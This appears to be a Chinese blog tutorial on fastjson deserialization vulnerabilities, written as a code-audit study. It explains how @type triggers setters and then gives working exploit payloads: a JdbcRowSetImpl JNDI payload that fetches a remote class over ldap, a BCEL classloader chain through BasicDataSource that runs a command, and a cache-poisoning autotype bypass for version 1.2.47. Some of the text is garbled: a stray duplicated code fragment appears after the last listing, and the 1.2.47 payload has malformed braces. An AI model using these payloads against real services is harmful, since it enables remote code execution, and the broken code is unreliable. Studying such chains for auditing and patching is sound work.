java代码审计之fastjson反序列化漏洞

fastjson反序列化漏洞分析

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。该产品主要提供了两个接口,JSON.toJSONString和JSON.parseObject/JSON.parse分别实现序列化和反序列化。

1. Fastjson使用

  1. 新建一个maven项目,引入对应的依赖包
		<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
  1. 新建一个类
package org.example;

import java.io.Serializable;

public class Person{
    private String name;
    private int age;
    private boolean sex;

    public Person() {
        System.out.println("执行构造函数方法");
    }

    public String getName() {
        System.out.println("执行获取到name方法");
        return name;
    }

    public void setName(String name) {
        System.out.println("执行到setage方法");
        this.name = name;
    }

    public int getAge() {
        System.out.println("执行获取到age方法");
        return age;
    }

    public void setAge(int age) {
        System.out.println("执行setage方法");
        this.age = age;
    }

    public boolean isSex() {
        return sex;
    }

    public void setSex(boolean sex) {
        System.out.println("执行到setSex方法");
        this.sex = sex;
    }
}
  1. json序列化
package org.example;

import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("小明");
        person.setAge(18);
        person.setSex(false);
        String jsonString = JSON.toJSONString(person);
        System.out.println(jsonString);
    }
}
//输出:{"age":18,"name":"小明","sex":false}
  • 不使用 SerializerFeature.WriteClassName:生成的 JSON 数据不包含类的全限定名。
  • 使用 SerializerFeature.WriteClassName:生成的 JSON 数据包含类的全限定名(以 @type 字段表示)。
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("小明");
        person.setAge(18);
        person.setSex(false);
        String jsonString = JSON.toJSONString(person, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
    }
}
//输出:{"@type":"org.example.Person","age":18,"name":"小明","sex":false}
  1. 反序列化

在fastjson中,使用JSON.parseObject进行反序列化,及将JSON字符串转化为对象

使用:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Main {
    public static void main(String[] args) {
        String json1 = "{\"age\":18,\"name\":\"小明\",\"sex\":false}";
        JSONObject jsonObj = JSON.parseObject(json1);   //将字符串解析为json对象
        System.out.println(jsonObj.getString("age"));     //获取age的值
    }
}

反序列化为javaBean对象:

package org.example;
import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        String json1 = "{\"age\":18,\"name\":\"小明\",\"sex\":false}";
        Person json2 = JSON.parseObject(json1,Person.class);
        System.out.println(json2);
    }
}
//执行setage方法
//执行到setage方法
//执行到setSex方法
//org.example.Person@4ccabbaa

增加@type属性指定其解析为特定类

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Main {
    public static void main(String[] args) {
        String json1 = "{\"@type\":\"org.example.Person\",\"age\":18,\"name\":\"小明\",\"sex\":false}";
        JSONObject json2 = JSON.parseObject(json1);
        System.out.println(json2.getString("age"));
    }
}
//执行构造函数方法
//执行setage方法
//执行到setage方法
//执行到setSex方法
//执行获取到age方法
//执行获取到name方法
//18

fastjson反序列化漏洞1-流程分析_哔哩哔哩_bilibili

由于在进行反序列化的时候,会调用set方法,因此,当找到一个可以执行类的set方法,就可以构造恶意参数,执行代码

package org.example;

import java.io.IOException;

public class Test {
    private String cmd;

    public String getCmd() {
        return cmd;
    }

    public void setCmd(String cmd) throws IOException {
        this.cmd = cmd;
        Runtime.getRuntime().exec(cmd);
    }
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Main {
    public static void main(String[] args) {
        String json1 = "{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"}";
        JSONObject json2 = JSON.parseObject(json1);
        System.out.println(json2);
    }
}

2. fastjson1.2.24漏洞利用

<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.47</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.20</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-core</artifactId>
            <version>4.2.4.RELEASE</version>
        </dependency>

fastjson反序列化与原生反序列化的不同点:

  1. fastjson反序列化不需要实现Serializable
  2. 变量有对应的setter或满足条件的getter(满足第二图的get方法)或者public属性,原生的变量不需要不是transient

image-20240525185408287

image-20240525185444591

  1. 原生的爆发点为readObject,fastjson是setter/getter
  • 查找流程:先找到恶意类,然后找到getter、setter方法

按CTRL+N搜索jdbcRowSet

image-20240525190559880

存在JNDI注入:

image-20240526161855073

追踪getDataSourceName(),DataSourceName变量是可控的

image-20240526165726979

因此,该链为

setAutoCommit--->connection()方法----->DataSourceNmer为恶意参数。
package org.example;

import com.alibaba.fastjson.JSON;

//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
    public static void main(String[] args) {
        String s  = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/hwgPemYJ\",\"autoCommit\":true}";
        System.out.println(JSON.parseObject(s));
    }
}

设置Yakit反连

image-20240526214102060

image-20240526214017619

fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了并且受版本依赖限制。

在jdk中含有import com.sun.org.apache.bcel.internal.util.ClassLoader;`中,存在defineClass可以实现从字节码直接生成一个类。

image-20240528164937472

正常使用如下:

恶意类:(使用需要使用同版本的java编译为.class文件)

package org.example;

import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
package org.example;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        //不考虑fastjson情况就正常调用该类
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
        String code = Utility.encode(bytes, true);
        classLoader.loadClass("$$BCEL$$"+code).newInstance();
    }

        //将文件转为字节码数组
        public static byte[] convert(File file){
            try {
                InputStream fis = new FileInputStream(file);
                byte[] bytes = FileCopyUtils.copyToByteArray(fis);
                return bytes;
            }catch (Exception ex){
                throw new RuntimeException("transform file into bin Array 出错",ex);
            }
        }

    }

接着考虑如何调用到classLoader.loadClass()在BasicDataSource()中存在forname,可以控制类加载器,将其改为classLoader类加载器。

image-20240528223029920

上下文查看有driverClassName、driverClassLoader对应的get/set方法,然后通过use查询,是否有调用createConnectionFactory方法,并实现get/set方法。

image-20240529080706605

image-20240529080858709

通过调用,当调用getConnection()时,实现调用

package org.example;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        //不考虑fastjson情况就正常调用该类
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
        String code = Utility.encode(bytes, true);
//        classLoader.loadClass("$$BCEL$$"+code).newInstance();
        BasicDataSource basicDataSource = new BasicDataSource();
        basicDataSource.setDriverClassLoader(classLoader);
        basicDataSource.setDriverClassName("$$BCEL$$"+code);
        basicDataSource.getConnection();
    }

        //将文件转为字节码数组
        public static byte[] convert(File file){
            try {
                InputStream fis = new FileInputStream(file);
                byte[] bytes = FileCopyUtils.copyToByteArray(fis);
                return bytes;
            }catch (Exception ex){
                throw new RuntimeException("出错",ex);
            }
        }

    }
package org.example;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
        String code = Utility.encode(bytes, true);
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSON.parseObject(s);
    }

        //将文件转为字节码数组
        public static byte[] convert(File file){
            try {
                InputStream fis = new FileInputStream(file);
                byte[] bytes = FileCopyUtils.copyToByteArray(fis);
                return bytes;
            }catch (Exception ex){
                throw new RuntimeException("transform file into bin Array 出错",ex);
            }
        }

    }

3. fastjson反序列化漏洞<=1.2.47

fastjson1.2.24之后,为了修复这个漏洞,引入checkAutoType,首先进行类型检查,再返回类。

image-20240529215309631

如果autoTypeSupport=true或者expectClass不是null,将进行黑白名单的判断。(白名单空的,黑名单可能造成危害的类)

image-20240529215247810

不满足,然后从以下两个缓存去查找,如果可以控制缓存,则可以调用恶意类。

image-20240529220625941

通过对mappinguse查找,当进行loadClass时,有将className放在mappings中(及如果之前加载之后,就不进行加载直接从mappings找)

image-20240529222714862

对loadClass进行use查找,则在MiscCode中deserialze中调用了loadClass函数

image-20240529223201245

在这里可以进行正常的加载,将其放入缓存里,如果提前将恶意类提前放进缓存里,则可绕过检查。

image-20240529224109150

构造恶意类

package org.example;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
        String code = Utility.encode(bytes, true);
//        第一步将com.sun.rowset.JdbcRowSetImpl放入缓存。
        String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/XBGdpMmR\",\"autoCommit\":true}}";
        JSON.parseObject(s);
    }

        //将文件转为字节码数组
        public static byte[] convert(File file){
            try {
                InputStream fis = new FileInputStream(file);
                byte[] bytes = FileCopyUtils.copyToByteArray(fis);
                return bytes;
            }catch (Exception ex){
                throw new RuntimeException("transform file into bin Array 出错",ex);
            }
        }

    }

utoCommit":true}}";
JSON.parseObject(s);
}

    //将文件转为字节码数组
    public static byte[] convert(File file){
        try {
            InputStream fis = new FileInputStream(file);
            byte[] bytes = FileCopyUtils.copyToByteArray(fis);
            return bytes;
        }catch (Exception ex){
            throw new RuntimeException("transform file into bin Array 出错",ex);
        }
    }

}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/680888.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

nginx与busybox离线镜像安装包

目录 概述实践离线资源nginxbusybox加载上传harbor 概述 nginx与busybox离线镜像安装包制作。如有疑问&#xff0c;详细请参考 docker镜像的导入导出 实践 离线资源 如果懒得弄&#xff0c;请至此下载 nginx、busybox (2024-06-04相对今天是最新版本) nginx 先找一台装有 d…

【知识点小结】目标检测深度学习算法网络训练时的一些注意事项

验证模型的batch size如何设置&#xff1f; 若输入模型数据shape固定&#xff0c;验证时对batch size无限制若输入模型数据shape不固定&#xff0c;验证时将batch size设置成1 训练模型需要提前热身&#xff1f;&#xff08;Warm-up&#xff09; 主要为了解决初始学习率过大…

短期业绩波动较大被券商不予评级,金种子酒背靠华润如何发力?

《港湾商业观察》施子夫 王璐 虽然一季度成功实现了扭亏为盈&#xff0c;但从近些年年报来看&#xff0c;金种子酒&#xff08;600199.SH&#xff09;的业绩压力依然不容小觑。白酒主业萎靡不振时&#xff0c;金种子酒开始了剥离非主营业务。 这些措施能否有利于主业向好&am…

yolov5的口罩识别系统+GUI界面 (附代码)

基于YOLOv5模型的口罩识别系统&#xff0c;结合了GUI界面&#xff0c;旨在帮助用户快速、准确地识别图像或视频中佩戴口罩的情况。YOLOv5是一种流行的目标检测模型&#xff0c;具有高效的实时检测能力&#xff0c;而GUI界面则提供了友好的用户交互界面&#xff0c;使得整个系统…

计算机网络 —— 数据链路层(VLAN)

计算机网络 —— 数据链路层&#xff08;VLAN&#xff09; 什么是VLAN为什么要有VLANVLAN如何实现IEEE 802.1Q 我们今天来看VLAN&#xff1a; 什么是VLAN VLAN&#xff08;Virtual Local Area Network&#xff0c;虚拟局域网&#xff09;是一种网络技术&#xff0c;它将一个物…

段子照进现实!裁员裁到大动脉,理想被传召回被裁员工…?

你一定看过类似这样的段子吧&#xff01;「公司高层换血&#xff0c;各个部门丢裁了个遍&#xff0c;终于要对财务下手&#xff0c;财务总监走之前&#xff0c;让公司补了六百万税」 还有类似这样的&#xff1a;「某公司裁员把一个销售主管裁了&#xff0c;那销售上午刚谈了个1…

Java Web学习笔记5——基础标签和样式

<!DOCTYPE html> html有很多版本&#xff0c;那我们应该告诉用户和浏览器我们现在使用的是HMTL哪个版本。 声明为HTML5文档。 字符集&#xff1a; UTF-8&#xff1a;现在最常用的字符编码方式。 GB2312&#xff1a;简体中文 BIG5&#xff1a;繁体中文、港澳台等方式…

【第三节】C/C++数据结构之栈与队列

目录 一、数据结构-栈 1.1 栈的定义 1.2 栈的 ADT (Abstract Data Type) 1.3 栈的顺序存储结构及实现 二、数据结构-队列 2.1 队列的定义 2.2 队列的 ADT 2.3 队列的顺序存储结构与实现 2.4 优先队列 2.5 各种队列异同点 一、数据结构-栈 1.1 栈的定义 栈(Stack)可…

硬件高效的线性注意力机制Gated Linear Attention论文阅读

0x0. 前言 上篇文章 flash-linear-attention中的Chunkwise并行算法的理解 根据GLA Transformer Paper&#xff08;https://arxiv.org/pdf/2312.06635 作者是这位大佬 sonta&#xff09;通过对Linear Attention的完全并行和RNN以及Chunkwise形式的介绍理解了Linear Attention的…

精酿啤酒新风尚,FENDI CLUB盛宴启幕,品质生活触手可及

随着现代人对生活品质的追求日益提升&#xff0c;精酿啤酒作为一种新兴的生活方式&#xff0c;正逐渐引领潮流。在这个背景下&#xff0c;FENDI CLUB的盛宴盛大开启&#xff0c;为广大消费者带来了一场别具一格的品质生活体验。 一、精酿啤酒的崛起 精酿啤酒以其独特的口感、…

vscode 搜索框乱码

vscode 搜索文件夹 搜索txt文件 ignore取消 搜索中文乱码 https://zhuanlan.zhihu.com/p/661347670 文件 -》首选项-》设置 搜索encoding -》设置 simpified chinese 中文插件

HTML5+CSS3+JS小实例:网格图库

实例:网格图库 技术栈:HTML+CSS+JS 效果: 源码: 【HTML】 <!DOCTYPE html> <html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0&…

深入浅出mysql海量数据批量更新插入、批量查询

1. mysql的批量写 mysql 批量插入可以用下面这种&#xff0c;在values 之后跟上各种多个值列表。但这种写法可能导致sql长度超长、锁超时等问题。 insert into (field1,field1,field1,) values (value01,value02,value03),(value11,value12,value13),(value21,value22,value2…

LLM推理加速原理(一)

1.大语言模型的基本结构 transfomer block: 输入--->正则化-->qkv三个矩阵层(映射到三个不同空间中)---->q,k,v之后self attention进行三0合一---->线性映射,正则化。 2.大语言模型的推理 目前主流的语言大模型都采用decoder-only的结构,其推理过程由两部分…

ubuntu22.04编译OpenCV4.9(带contrib-4.9.0)

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;4.9.0 opencv_contrib版本&#xff1a;4.9.0 源码下载 OPenCV4.9.0下载地址&#xff1a;https://github.com/opencv/opencv/releases/tag/4.9.0 如下图所示&#xff1a; 按箭头所指点击下载source code(tar.gz)文件到…

TG-5510CA温补晶振用于GPS应用

随着现代社会对精准定位和导航需求的不断增加&#xff0c;GPS&#xff08;全球定位系统&#xff09;已成为我们日常生活和各行各业中不可或缺的一部分。无论是在智能手机、汽车导航、无人机飞行控制&#xff0c;还是在精密的科学研究和军事应用中&#xff0c;GPS系统都扮演着至…

【杂谈】AIGC之Stable Diffusion:AI绘画的魔法

Stable Diffusion&#xff1a;AI绘画的魔法 引言 在AI的世界里&#xff0c;Stable Diffusion就像一位魔法师&#xff0c;它能够将我们脑海中的幻想&#xff0c;用画笔一一描绘出来。今天&#xff0c;就让我们一探这位魔法师的奥秘&#xff0c;看看它是如何从无到有&#xff0…

clickhouse学习笔记(一)入门与安装

目录 一 、入门 简介 核心特性包括 1.1 列式存储 1.2 原生压缩 1.3 向量化执行引擎 1.4 DBMS 功能 1.5 分布式处理 1.6 高吞吐写入能力 1.7 实时分析 1.8 SQL支持 1.9 高度可扩展 1.10 数据分区与线程级并行 1.11 应用场景 1.12 不适用场景 二、ClickHouse单机版…

【Qt】定时器播放多张图片,动画效果

1. 效果 2. 代码 2.1 头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget>QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Widget : public QWidget {Q_OBJECTpublic:Widget(QWidget *parent nullptr);~Widget();void initGif(QS…

MT3051 区间gcd

思路&#xff1a; ST表&#xff0c;ST表模板可参考MT3024 maxmin 注意&#xff0c;这里使用快读快写避免超时 代码&#xff1a; #include <bits/stdc.h> using namespace std; const int N 1e6 10; int n, m, a[N], mn[N][20], Lg[N], l, r, ans; void pre() {Lg[1…